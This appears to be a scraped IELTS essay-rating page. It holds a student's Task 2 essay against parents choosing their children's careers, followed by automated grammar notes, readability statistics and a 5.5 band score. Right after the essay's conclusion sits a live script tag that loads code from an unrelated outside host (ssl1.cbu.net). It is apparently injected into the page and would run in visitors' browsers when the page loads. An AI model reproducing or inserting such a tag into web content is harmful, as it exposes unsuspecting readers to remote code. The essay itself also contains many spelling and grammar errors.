Should parents be responsible for the education
To what extent you agree or disagree?
Rate this task 2 ielts : It’s argued that parents should chose their kids professions instead of them picking it them selves. This essay disagrees with that argument completely because of how detrimental it is on their careers. This essay will discuss how important it is for the youth to pick their own profession and why some might think it’s preferable for the parents to decide.
A major should be decided by the young people studying it, not by parents that thinks they have their best interest at heart it’s will known that adults want to see their kids excel in life that’s why they push them but that doesn’t give the right to control their life choices specially their careers. For example, not too long ago everybody was seeking a career in the fossil fuel industry and now the world Is slowly moving away towards renewable energy and other alternatives.
Many parents decide their kids professions in some part of the world, and that’s very harmful
To the kids careers and mental health further more, it could impact the entire livelihood of the family for example, Arab and south asian parents are often very controlling when it comes to their kids careers as a result the kids usually end up unhappy and switch professions in there late thirties.
In conclusion, young people should be made to chose their majors as they see fit because it will impact their own lives and it will also help them to be more responsible at an early age and learn about accountability.<script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
Line 1, column 25, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
Rate this task 2 ielts : It’s argued that parents should chose th...
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Line 1, column 63, Rule ID: DID_BASEFORM[1]
Message: The verb 'should' requires base form of the verb: 'choose'.
Suggestion: choose
... : It’s argued that parents should chose their kids professions instead of them ...
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Line 1, column 119, Rule ID: THEM_SELVES[1]
Message: Did you mean 'themselves'?
Suggestion: themselves
... professions instead of them picking it them selves. This essay disagrees with that argumen...
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Transition Words or Phrases used:
also, but, if, so, for example, in conclusion, as a result
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 8.0 13.1623246493 61% => OK
Auxiliary verbs: 9.0 7.85571142285 115% => OK
Conjunction : 10.0 10.4138276553 96% => OK
Relative clauses : 8.0 7.30460921844 110% => OK
Pronoun: 39.0 24.0651302605 162% => Less pronouns wanted
Preposition: 25.0 41.998997996 60% => More preposition wanted.
Nominalization: 1.0 8.3376753507 12% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1237.0 1615.20841683 77% => OK
No of words: 258.0 315.596192385 82% => More content wanted.
Chars per words: 4.79457364341 5.12529762239 94% => OK
Fourth root words length: 4.00778971557 4.20363070211 95% => OK
Word Length SD: 2.38979609086 2.80592935109 85% => OK
Unique words: 152.0 176.041082164 86% => More unique words wanted.
Unique words percentage: 0.589147286822 0.561755894193 105% => OK
syllable_count: 363.6 506.74238477 72% => OK
avg_syllables_per_word: 1.4 1.60771543086 87% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 3.0 5.43587174349 55% => OK
Article: 1.0 2.52805611222 40% => OK
Subordination: 0.0 2.10420841683 0% => More adverbial clause wanted.
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 2.0 4.76152304609 42% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 7.0 16.0721442886 44% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 36.0 20.2975951904 177% => The Avg. Sentence Length is relatively long.
Sentence length SD: 97.2314721871 49.4020404114 197% => OK
Chars per sentence: 176.714285714 106.682146367 166% => OK
Words per sentence: 36.8571428571 20.7667163134 177% => OK
Discourse Markers: 8.28571428571 7.06120827912 117% => OK
Paragraphs: 5.0 4.38176352705 114% => OK
Language errors: 3.0 5.01903807615 60% => OK
Sentences with positive sentiment : 4.0 8.67935871743 46% => More positive sentences wanted.
Sentences with negative sentiment : 3.0 3.9879759519 75% => OK
Sentences with neutral sentiment: 0.0 3.4128256513 0% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.144573480239 0.244688304435 59% => OK
Sentence topic coherence: 0.0721266366658 0.084324248473 86% => OK
Sentence topic coherence SD: 0.0270141419575 0.0667982634062 40% => Sentences are similar to each other.
Paragraph topic coherence: 0.0816593812019 0.151304729494 54% => OK
Paragraph topic coherence SD: 0.0306882925809 0.056905535591 54% => OK
Essay readability:
automated_readability_index: 19.6 13.0946893788 150% => OK
flesch_reading_ease: 51.86 50.2224549098 103% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 15.0 11.3001002004 133% => OK
coleman_liau_index: 11.09 12.4159519038 89% => OK
dale_chall_readability_score: 8.42 8.58950901804 98% => OK
difficult_words: 49.0 78.4519038076 62% => More difficult words wanted.
linsear_write_formula: 13.5 9.78957915832 138% => OK
gunning_fog: 16.4 10.1190380762 162% => OK
text_standard: 9.0 10.7795591182 83% => OK
What are above readability scores?
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Rates: 61.797752809 out of 100
Scores by essay e-grader: 5.5 Out of 9
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